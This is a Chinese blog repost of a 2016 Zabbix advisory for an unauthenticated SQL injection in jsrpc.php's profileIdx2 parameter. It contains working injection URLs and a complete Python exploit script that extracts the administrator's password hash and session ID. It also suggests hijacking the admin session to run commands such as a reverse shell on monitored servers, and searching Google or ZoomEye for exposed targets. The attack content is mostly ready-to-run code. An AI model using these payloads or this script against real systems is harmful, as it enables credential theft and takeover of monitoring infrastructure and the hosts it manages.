Zabbix-20160817-高危SQL注入漏洞
2024-08-30 02:28:29
漏洞概述:
zabbix是一个开源的企业级性能监控解决方案。近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。 但是无需登录注入这里有个前提,就是zabbix开启了guest权限。而在zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。
影响程度:
攻击成本:低
危害程度:高
是否登陆:不需要
影响范围:2.2.x, 3.0.0-3.0.3。(其他版本未经测试)
漏洞测试:
在您的zabbix的地址后面加上如下url:
jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17
输出结果,如下表示漏洞存在:
版本:2.4.6也存在漏洞
漏洞利用:
攻击者可以通过进一步构造语句进行错误型sql注射,无需获取和破解加密的管理员密码。
有经验的攻击者可以直接通过获取admin的sessionid来根据结构算法构造sid,替换cookie直接以管理员身份登陆。
利用代码:
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=(updatexml(0x5e,(md5(0×313233)),0x5e))&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1
获取管理员cookie和密码,可以以管理员身份登录zabbix监控系统,利用管理员script功能,使zabbix监控的服务器执行恶意命令(例如:反弹shell等)
漏洞利用工具:
#!/usr/bin/env python
# -*- coding: gbk -*-
# Date: 2016/8/18 import urllib2
import sys, os
import re def deteck_Sql():
u'检查是否存在SQL注入'
payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(url + payload, timeout=10).read()
except Exception, msg:
print msg
else:
key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
if key_reg.findall(response):
return True def sql_Inject(sql):
u'获取特定sql语句内容'
payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(payload, timeout=10).read()
except Exception, msg:
print msg
else:
result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
results = result_reg.findall(response)
if results:
return results[0] if __name__ == '__main__':
# os.system(['clear', 'cls'][os.name == 'nt'])
print '+' + '-' * 60 + '+'
print '\t Python Zabbix<3.0.4 SQL注入 Exploit'
print '\t\t Time:2016-08-18'
print '+' + '-' * 60 + '+'
if len(sys.argv) != 2:
print '用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 网站地址'
print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/'
sys.exit()
url = sys.argv[1]
if url[-1] != '/': url += '/'
passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
if deteck_Sql():
print u'Zabbix 存在SQL注入漏洞!\n'
print u'管理员 用户名密码:%s' % sql_Inject(passwd_sql)
print u'管理员 Session_id:%s' % sql_Inject(session_sql)
else:
print u'Zabbix 不存在SQL注入漏洞!\n'
漏洞挖掘:
google hacking
zoom eye
搜索放在外网的监控系统界面
最新文章
- PHP 之道
- 用onerror处理图片获取失败问题
- php连接多数据库
- 扩展当easyui datagrid无数据时,显示特定值。如:没有数据
- Java for LeetCode 154 Find Minimum in Rotated Sorted Array II
- C++ Ouput Exactly 2 Digits After Decimal Point 小数点后保留三位数字
- Excel 、数据库 一言不合就转换 (zhuan)
- RMAN - 备份异机恢复
- 找回linux丢失的磁盘空间
- HTML5新增核心工具——canvas
- WIMP环境搭建
- ORACLE - 管理重做日志文件
- 前端CSS技术全解(一)
- Cocos2d-x 实战
- Sublime 3基于python环境的使用
- 安装win7出现安装程序无法创建新的系统分区
- 利用python同步windows和linux文件
- Linux 第一周作业
- const 关键字总结
- C语言标准io函数总结
热门文章
- BZOJ 4500: 矩阵
- 延迟加载技术 jquery lazyload
- Python Challenge 第十五关
- Hibernate search与Lucene包异常学习心得
- [Python Debug] SettingWithCopyWarning: A value is trying to be set on a copy of a slice from a DataFrame.
- 最短Hamilton路径
- Google Cloud服务免费申请试用以及使用教程
- ActiveMQ 使用spring模板 发布消息过程分析
- 2016集训测试赛(二十)Problem B: 字典树
- my->; git使用笔记